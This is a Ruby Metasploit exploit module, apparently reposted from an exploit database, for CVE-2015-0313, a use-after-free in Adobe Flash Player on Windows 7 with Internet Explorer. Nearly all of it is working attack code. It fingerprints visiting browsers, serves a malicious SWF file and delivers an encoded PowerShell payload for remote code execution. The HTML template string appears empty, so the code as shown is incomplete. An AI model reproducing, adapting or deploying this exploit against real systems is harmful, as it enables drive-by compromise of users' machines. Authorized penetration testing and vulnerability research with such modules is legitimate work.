## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player ByteArray With Workers Use After Free', 'Description' => %q{ This module exploits an use after free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, who can fill the memory and notify the main thread to corrupt the new contents. This module has been tested successfully on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery and exploit in the wild 'hdarwin', # Public exploit by @hdarwin89 (all the magic) 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-0313'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'], ['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Feb 02 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q| | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-03-31]